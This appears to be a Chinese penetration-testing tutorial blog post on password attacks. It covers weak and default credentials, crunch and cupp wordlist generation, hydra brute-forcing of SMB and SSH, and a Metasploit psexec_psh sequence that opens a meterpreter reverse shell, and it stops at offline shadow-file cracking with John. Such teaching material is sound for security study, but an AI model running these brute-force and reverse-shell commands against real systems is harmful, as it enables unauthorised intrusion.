口令安全现状

弱口令

类似于123456,admin123等这样常见的弱口令。


默认口令

很多系统或者系统都存在默认口令。比如phpstudy的mysql数据库默认账密root/root,tomcat管理控制台默认账密tomcat/tomcat。


明文传输

比如HTTP/FTP/TELNET等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有被嗅探的风险。


暴力破*解

穷举可能的字符组合,尝试破*解。理论上一定能够破*解,根据口令字符集、口令位数和破*解设备的运算能力,受到时间成本的限制。

Crunch的使用

kali中自带crunch工具,可以根据需要生成穷举组合数据。

#yyds干货盘点#web安全day47:口令、字典、crunch、cupp、hydra、MSF-psexec_psh的使用_hydra

生成1-8位不等,所有小写字母和数字的组合,需要23TB的空间存储,可见其难度。

#yyds干货盘点#web安全day47:口令、字典、crunch、cupp、hydra、MSF-psexec_psh的使用_crunch_02

查看帮助

man crunch > crunch.help

crunch的命令格式

crunch <min-len> <max-len> [<charset string>] [options]

min-len:设定最小字符串长度(必选)

max-len:设定最大字符串长度(必选)

charset string:字符集

options

-b:指定文件输出的大小,避免字典文件过大

-c:指定文件输出的行数,即包含口令的个数

-d:限制相同元素出现的次数

-e:定义停止字符,即到该字符串就停止生成

-f:调用库文件(/usr/share/crunch/charset.last)

-i:改变输出格式,即aaa,aab->aaa,baa

-l:通常与-t联合使用,表明该字符为实义字符 ,比如在口令中包括@等字符

-m:通常与-p搭配

-o:将口令保存到指定文件

-p:指定元素以组合的方式进行

-q:读取口令文件,即读取pass.txt

-r:定义从某一字符串重新开始

-s:指定一个开始的字符,即从自己定义的口令xxx开始

-t:指定口令输出的格式

-u:禁止打印百分比,必须为最后一个选项

-z:压缩生成的字典文件,支持gzip,bzips,lzma,7z

特殊字符

% 代表数字

^ 代表特殊符号

@ 代表小写字母

, 代表大写字母

查看库文件

cat /usr/share/crunch/charset.lst


生成口令字典

生成1-8位口令字典,字符集合位小写字母,从a开始到zzzzzzzz结束

crunch 1 8

生成1-6位的口令字典,字符集合为abcdefg,从a开始到gggggg

crunch 1 6 abcdefg

生成指定字符串,比如生日的日期

crunch 8 8 -t 199307%% -e 19930730

生成元素的组合,比如123.com

crunch  7 7 -t %%%.com -s 111.com -e 123.com

在字典中输出特殊字符

crunch 3 3 abc -t @@@ -l @aa

以元素组合生成字典

crunch 3 3 -p abcd 1234 qwer

保存字典文件

crunch 11 11 -t 1700010%%% -b 20mb -o START

自定义字符集合

crunch 5 5 -f charset.lst test -t @.com

字典破*解

根据合理条件,筛选或者过滤掉部分字符组合,可以大幅降低爆破成本。把筛选出的口令组合成特定的字典。缺点就是可能漏掉真正的口令。

弱口令字典

如12345、admin等

社工字典和cupp的使用

口令内容和组合于个人信息有关,比如常见的组合“名字+生日:zhangsan1992“

社工字典更具针对性,准确性更高。

可以根据个人信息生成口令字典,可以使用cupp工具生成

#yyds干货盘点#web安全day47:口令、字典、crunch、cupp、hydra、MSF-psexec_psh的使用_crunch_03

cupp -

hydra的使用

使用字典文件尝试破*解实际的服务或者系统的口令。

-l 指定一个用户名

-p 指定一个口令

-P 指定口令字典

-L 指定用户名字典

-vV 显示细节

-o 保存报破结果

-f 找到正确的口令后就停止报破

-e n 代表null

-e s 代表same

-e r 代表反向

即-e nsr

-t 线程 多线程比较快

hydra -l administrator -P /dic/pass.dir smb://192.168.1.1

MSF中psexec_psh模块的使用

在已知445端口开放,并且用户名和口令的情况下,可以对目标进行测试。

msfconsole
use exploit/windows/smb/psexec_psh
set RHOSTS 192.168.1.1
set LHOSTS 192.168.1.2
set payload windows/meterpreter/reverse_tcp
set smbuser administrator
set smbpass 123.com
exploit

linux口令破*解

linux口令分为远程和本地破*解,远程破*解主要是报破ssh服务,属于在线口令公鸡,本地坡解需要拿到linux的shadow文件,进行hash值破*解,属于离线口令公鸡。

破*解ssh服务

使用hydra公鸡坡解ssh服务

hydra -l root -P /dir/pwd.dir 192.168.1.1 ssh

本地shadow文件坡解

使用john工具